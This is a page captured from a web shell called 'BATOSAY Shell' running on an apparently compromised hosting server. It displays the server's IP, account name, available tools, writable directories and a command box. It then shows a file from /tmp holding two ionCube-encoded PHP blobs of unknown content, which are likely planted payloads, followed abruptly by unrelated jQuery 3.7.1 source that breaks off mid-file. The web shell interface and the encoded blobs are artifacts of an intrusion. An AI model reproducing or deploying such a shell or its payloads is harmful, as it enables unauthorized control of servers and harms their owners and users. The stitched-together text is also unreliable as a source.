BATOSAY Shell
Server IP : 170.10.162.208  /  Your IP : 216.73.216.181
Web Server : LiteSpeed
System : Linux altar19.supremepanel19.com 4.18.0-553.69.1.lve.el8.x86_64 #1 SMP Wed Aug 13 19:53:59 UTC 2025 x86_64
User : deltahospital ( 1806)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /tmp/phplXw1lN
<?php //004fb
if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');if(function_exists('dl')){@dl($__ln);}if(function_exists('_il_exec')){return _il_exec();}$__ln='/ioncube/'.$__ln;$__oid=$__id=realpath(ini_get('extension_dir'));$__here=dirname(__FILE__);if(strlen($__id)>1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo("Site error: the ".(php_sapi_name()=='cli'?'ionCube':'<a href="http://www.ioncube.com">ionCube</a>')." PHP Loader needs to be installed. This is a widely used PHP extension for running ionCube protected PHP code, website security and malware blocking.\n\nPlease visit ".(php_sapi_name()=='cli'?'get-loader.ioncube.com':'<a href="http://get-loader.ioncube.com">get-loader.ioncube.com</a>')." for install assistance.\n\n");exit(199);
?>
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<?php //002cd
if(extension_loaded('ionCube Loader')){die('The file '.__FILE__." is corrupted.\n");}echo("\nScript error: the ".(($cli=(php_sapi_name()=='cli')) ?'ionCube':'<a href="https://www.ioncube.com">ionCube</a>')." Loader for PHP needs to be installed.\n\nThe ionCube Loader is the industry standard PHP extension for running protected PHP code,\nand can usually be added easily to a PHP installation.\n\nFor Loaders please visit".($cli?":\n\nhttps://get-loader.ioncube.com\n\nFor":' <a href="https://get-loader.ioncube.com">get-loader.ioncube.com</a> and for')." an instructional video please see".($cli?":\n\nhttp://ioncu.be/LV\n\n":' <a href="http://ioncu.be/LV">http://ioncu.be/LV</a> ')."\n\n");exit(199);
?>
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
FadlTAsFUbUK/sMko/jNzIjcWyql892XDeS40W==/*!
 * jQuery JavaScript Library v3.7.1
 * https://jquery.com/
 *
 * Copyright OpenJS Foundation and other contributors
 * Released under the MIT license
 * https://jquery.org/license
 *
 * Date: 2023-08-28T13:37Z
 */
( function( global, factory ) {

	"use strict";

	if ( typeof module === "object" && typeof module.exports === "object" ) {

		// For CommonJS and CommonJS-like environments where a proper `window`
		// is present, execute the factory and get jQuery.
		// For environments that do not have a `window` with a `document`
		// (such as Node.js), expose a factory as module.exports.
		// This accentuates the need for the creation of a real `window`.
		// e.g. var jQuery = require("jquery")(window);
		// See ticket trac-14549 for more info.
		module.exports = global.document ?
			factory( global, true ) :
			function( w ) {
				if ( !w.document ) {
					throw new Error( "jQuery requires a window with a document" );
				}
				return factory( w );
			};
	} else {
		factory( global );
	}

// Pass this if window is not defined yet
} )( typeof window !== "undefined" ? window : this, function( window, noGlobal ) {

// Edge <= 12 - 13+, Firefox <=18 - 45+, IE 10 - 11, Safari 5.1 - 9+, iOS 6 - 9.1
// throw exceptions when non-strict code (e.g., ASP.NET 4.5) accesses strict mode
// arguments.callee.caller (trac-13335). But as of jQuery 3.0 (2016), strict mode should be common
// enough that all such attempts are guarded in a try block.
"use strict";

var arr = [];

var getProto = Object.getPrototypeOf;

var slice = arr.slice;

var flat = arr.flat ? function( array ) {
	return arr.flat.call( array );
} : function( array ) {
	return arr.concat.apply( [], array );
};


var push = arr.push;

var indexOf = arr.indexOf;

var class2type = {};

var toString = class2type.toString;

var hasOwn = class2type.hasOwnProperty;

var fnToString = hasOwn.toString;

var ObjectFunctionString = fnToString.call( Object );

var support = {};

var isFunction = function isFunction( obj ) {

		// Support: Chrome <=57, Firefox <=52
		// In some browsers, typeof returns "function" for HTML <object> elements
		// (i.e., `typeof document.createElement( "object" ) === "function"`).
		// We don't want to classify *any* DOM node as a function.
		// Support: QtWeb <=3.8.5, WebKit <=534.34, wkhtmltopdf tool <=0.12.5
		// Plus for old WebKit, typeof returns "function" for HTML collections
		// (e.g., `typeof document.getElementsByTagName("div") === "function"`). (gh-4756)
		return typeof obj === "function" && typeof obj.nodeType !== "number" &&
			typeof obj.item !== "function";
	};


var isWindow = function isWindow( obj ) {
		return obj != null && obj === obj.window;
	};


var document = window.document;



	var preservedScriptAttributes = {
		type: true,
		src: true,
		nonce: true,
		noModule: true
	};

	function DOMEval( code, node, doc ) {
		doc = doc || document;

		var i, val,
			script = doc.createElement( "script" );

		script.text = code;
		if ( node ) {
			for ( i in preservedScriptAttributes ) {

				// Support: Firefox 64+, Edge 18+
				// Some browsers don't support the "nonce" property on scripts.
				// On the other hand, just using `getAttribute` is not enough as
				// the `nonce` attribute is reset to an empty string whenever it
				// becomes browsing-context connected.
				// See https://github.com/whatwg/html/issues/2369
				// See https://html.spec.whatwg.org/#nonce-attributes
				// The `node.getAttribute` check was added for the sake of
				// `jQuery.globalEval` so that it can fake a nonce-containing node
				// via an object.
				val = node[ i ] || node.getAttribute && node.getAttribute( i );
				if ( val ) {
					script.setAttribute( i, val );
				}
			}
		}
		doc.head.appendChild( script ).parentNode.removeChild( script );
	}


function toType( obj ) {
	if ( obj == null ) {
		return obj + "";
	}

	// Support: Android <=2.3 only (functionish RegExp)
	return typeof obj === "object" || typeof obj === "function" ?
		class2type[ toString.call( obj ) ] || "object" :
		typeof obj;
}
/* global Symbol */
// Defining this global in .eslintrc.json would create a danger of using the global
// unguarded in another place, it seems safer to define global only for this module



var version = "3.7.1",

	rhtmlSuffix = /HTML$/i,

	// Define a local copy of jQuery
	jQuery = function( selector, context ) {

		// The jQuery object is actually just the init constructor 'enhanced'
		// Need init if jQuery is called (just allow error to be thrown if not included)
		return new jQuery.fn.init( selector, context );
	};

jQuery.fn = jQuery.prototype = {

	// The current version of jQuery being used
	jquery: version,

	constructor: jQuery,

	// The default length of a jQuery object is 0
	length: 0,

	toArray: function() {
		return slice.call( this );
	},

	// Get the Nth element in the matched element set OR
	// Get the whole matched element set as a clean array
	get: function( num ) {

		// Return all the elements in a clean array
		if ( num == null ) {
			return slice.call( this );
		}

		// Return just the one element from the set
		return num < 0 ? this[ num + this.length ] : this[ num ];
	},

	// Take an array of elements and push it onto the stack
	// (returning the new matched element set)
	pushStack: function( elems ) {

		// Build a new jQuery matched element set
		var ret = jQuery.merge( this.constructor(), elems );

		// Add the old object onto the stack (as a reference)
		ret.prevObject = this;

		// Return the newly-formed element set
		return ret;
	},

	// Execute a callback for every element in the matched set.
	each: function( callback ) {
		return jQuery.each( this, callback );
	},

	map: function( callback ) {
		return this.pushStack( jQuery.map( this, function( elem, i ) {
			return callback.call( elem, i, elem );
		} ) );
	},

	slice: function() {
		return this.pushStack( slice.apply( this, arguments ) );
	},

	first: function() {
		return this.eq( 0 );
	},

	last: function() {
		return this.eq( -1 );
	},

	even: function() {
		return this.pushStack( jQuery.grep( this, function( _elem, i ) {
			return ( i + 1 ) % 2;
		} ) );
	},

	odd: function() {
		return this.pushStack( jQuery.grep( this, function( _elem, i ) {
			return i % 2;
		} ) );
	},

	eq: function( i ) {
		var len = this.length,
			j = +i + ( i < 0 ? len : 0 );
		return this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] );
	},

	end: function() {
		return this.prevObject || this.constructor();
	},

	// For internal use only.
	// Behaves like an Array's method, not like a jQuery method.
	push: push,
	sort: arr.sort,
	splice: arr.splice
};

jQuery.extend = jQuery.fn.extend = function() {
	var options, name, src, copy, copyIsArray, clone,
		target = arguments[ 0 ] || {},
		i = 1,
		length = arguments.length,
		deep = false;

	// Handle a deep copy situation
	if ( typeof target === "boolean" ) {
		deep = target;

		// Skip the boolean and the target
		target = arguments[ i ] || {};
		i++;
	}

	// Handle case when target is a string or something (possible in deep copy)
	if ( typeof target !== "object" && !isFunction( target ) ) {
		target = {};
	}

	// Extend jQuery itself if only one argument is passed
	if ( i === length ) {
		target = this;
		i--;
	}

	for ( ; i < length; i++ ) {

		// Only deal with non-null/undefined values
		if ( ( options = arguments[ i ] ) != null ) {

			// Extend the base object
			for ( name in options ) {
				copy = options[ name ];

				// Prevent Object.prototype pollution
				// Prevent never-ending loop
				if ( name === "__proto__" || target === copy ) {
					continue;
				}

				// Recurse if we're merging plain objects or arrays
				if ( deep && copy && ( jQuery.isPlainObject( copy ) ||
					( copyIsArray = Array.isArray( copy ) ) ) ) {
					src = target[ name ];

					// Ensure proper type for the source value
					if ( copyIsArray && !Array.isArray( src ) ) {
						clone = [];
					} else if ( !copyIsArray && !jQuery.isPlainObject( src ) ) {
						clone = {};
					} else {
						clone = src;
					}
					copyIsArray = false;

					// Never move original objects, clone them
					target[ name ] = jQuery.extend( deep, clone, copy );

				// Don't bring in undefined values
				} else if ( copy !== undefined ) {
					target[ name ] = copy;
				}
			}
		}
	}

	// Return the modified object
	return target;
};

jQuery.extend( {

	// Unique for each copy of jQuery on the page
	expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ),

	// Assume jQuery is ready without the ready module
	isReady: true,

	error: function( msg ) {
		throw new Error( msg );
	},

	noop: function() {},

	isPlainObject: function( obj ) {
		var proto, Ctor;

		// Detect obvious negatives
		// Use toString instead of jQuery.type to catch host objects
		if ( !obj || toString.call( obj ) !== "[object Object]" ) {
			return false;
		}

		proto = getProto( obj );

		// Objects with no prototype (e.g., `Object.create( null )`) are plain
		if ( !proto ) {
			return true;
		}

		// Objects with prototype are plain iff they were constructed by a global Object function
		Ctor = hasOwn.call( proto, "constructor" ) && proto.constructor;
		return typeof Ctor === "function" && fnToString.call( Ctor ) === ObjectFunctionString;
	},

	isEmptyObject: function( obj ) {
		var name;

		for ( name in obj ) {
			return false;
		}
		return true;
	},

	// Evaluates a script in a provided context; falls back to the global one
	// if not specified.
	globalEval: function( code, options, doc ) {
		DOMEval( code, { nonce: options && options.nonce }, doc );
	},

	each: function( obj, callback ) {
		var length, i = 0;

		if ( isArrayLike( obj ) ) {
			length = obj.length;
			for ( ; i < length; i++ ) {
				if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {
					break;
				}
			}
		} else {
			for ( i in obj ) {
				if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) {
					break;
				}
			}
		}

		return obj;
	},


	// Retrieve the text value of an array of DOM nodes
	text: function( elem ) {
		var node,
			ret = "",
			i = 0,
			nodeType = elem.nodeType;

		if ( !nodeType ) {

			// If no nodeType, this is expected to be an array
			while ( ( node = elem[ i++ ] ) ) {

				// Do not traverse comment nodes
				ret += jQuery.text( node );
			}
		}
		if ( nodeType === 1 || nodeType === 11 ) {
			return elem.textContent;
		}
		if ( nodeType === 9 ) {
			return elem.documentElement.textContent;
		}
		if ( nodeType === 3 || nodeType === 4 ) {
			return elem.nodeValue;
		}

		// Do not include comment or processing instruction nodes

		return ret;
	},

	// results is for internal usage only
	makeArray: function( arr, results ) {
		var ret = results || [];

		if ( arr != null ) {
			if ( isArrayLike( Object( arr ) ) ) {
				jQuery.merge( ret,
					typeof arr === "string" ?
						[ arr ] : arr
				);
			} else {
				push.call( ret, arr );
			}
		}

		return ret;
	},

	inArray: function( elem, arr, i ) {
		return arr == null ? -1 : indexOf.call( arr, elem, i );
	},

	isXMLDoc: function( elem ) {
		var namespace = elem && elem.namespaceURI,
			docElem = elem && ( elem.ownerDocument || elem ).documentElement;

		// Assume HTML when documentElement doesn't yet exist, such as inside
		// document fragments.
		return !rhtmlSuffix.test( namespace || docElem && docElem.nodeName || "HTML" );
	},

	// Support: Android <=4.0 only, PhantomJS 1 only
	// push.apply(_, arraylike) throws on ancient WebKit
	merge: function( first, second ) {
		var len = +second.length,
			j = 0,
			i = first.length;

		for ( ; j < len; j++ ) {
			first[ i++ ] = second[ j ];
		}

		first.length = i;

		return first;
	},

	grep: function( elems, callback, invert ) {
		var callbackInverse,
			matches = [],
			i = 0,
			length = elems.length,
			callbackExpect = !invert;

		// Go through the array, only saving the items
		// that pass the validator function
		for ( ; i < length; i++ ) {
			callbackInverse = !callback( elems[ i ], i );
			if ( callbackInverse !== callbackExpect ) {
				matches.push( elems[ i ] );
			}
		}

		return matches;
	},

	// arg is for internal usage only
	map: function( elems, callback, arg ) {
		var length, value,
			i = 0,
			ret = [];

		// Go through the array, translating each of the items to their new values
		if ( isArrayLike( elems ) ) {
			length = elems.length;
			for ( ; i < length; i++ ) {
				value = callback( elems[ i ], i, arg );

				if ( value != null ) {
					ret.push( value );
				}
			}

		// Go through every key on the object,
		} else {
			for ( i in elems ) {
				value = callback( elems[ i ], i, arg );

				if ( value != null ) {
					ret.push( value );
				}
			}
		}

		// Flatten any nested arrays
		return flat( ret );
	},

	// A global GUID counter for objects
	guid: 1,

	// jQuery.support is not used in Core but other projects attach their
	// properties to it so it needs to exist.
	support: support
} );

if ( typeof Symbol === "function" ) {
	jQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ];
}

// Populate the class2type map
jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".split( " " ),
	function( _i, name ) {
		class2type[ "[object " + name + "]" ] = name.toLowerCase();
	} );

function isArrayLike( obj ) {

	// Support: real iOS 8.2 only (not reproducible in simulator)
	// `in` check used to prevent JIT error (gh-2145)
	// hasOwn isn't used here due to false negatives
	// regarding Nodelist length in IE
	var length = !!obj && "length" in obj && obj.length,
		type = toType( obj );

	if ( isFunction( obj ) || isWindow( obj ) ) {
		return false;
	}

	return type === "array" || length === 0 ||
		typeof length === "number" && length > 0 && ( length - 1 ) in obj;
}


function nodeName( elem, name ) {

	return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();

}
var pop = arr.pop;


var sort = arr.sort;


var splice = arr.splice;


var whitespace = "[\\x20\\t\\r\\n\\f]";


var rtrimCSS = new RegExp(
	"^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$",
	"g"
);




// Note: an element does not contain itself
jQuery.contains = function( a, b ) {
	var bup = b && b.parentNode;

	return a === bup || !!( bup && bup.nodeType === 1 && (

		// Support: IE 9 - 11+
		// IE doesn't have `contains` on SVG.
		a.contains ?
			a.contains( bup ) :
			a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16
	) );
};




// CSS string/identifier serialization
// https://drafts.csswg.org/cssom/#common-serializing-idioms
var rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g;

function fcssescape( ch, asCodePoint ) {
	if ( asCodePoint ) {

		// U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER
		if ( ch === "\0" ) {
			return "\uFFFD";
		}

		// Control characters and (dependent upon position) numbers get escaped as code points
		return ch.slice( 0, -1 ) + "\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + " ";
	}

	// Other potentially-special ASCII characters get backslash-escaped
	return "\\" + ch;
}

jQuery.escapeSelector = function( sel ) {
	return ( sel + "" ).replace( rcssescape, fcssescape );
};




var preferredDoc = document,
	pushNative = push;

( function() {

var i,
	Expr,
	outermostContext,
	sortInput,
	hasDuplicate,
	push = pushNative,

	// Local document vars
	document,
	documentElement,
	documentIsHTML,
	rbuggyQSA,
	matches,

	// Instance-specific data
	expando = jQuery.expando,
	dirruns = 0,
	done = 0,
	classCache = createCache(),
	tokenCache = createCache(),
	compilerCache = createCache(),
	nonnativeSelectorCache = createCache(),
	sortOrder = function( a, b ) {
		if ( a === b ) {
			hasDuplicate = true;
		}
		return 0;
	},

	booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|" +
		"loop|multiple|open|readonly|required|scoped",

	// Regular expressions

	// https://www.w3.org/TR/css-syntax-3/#ident-token-diagram
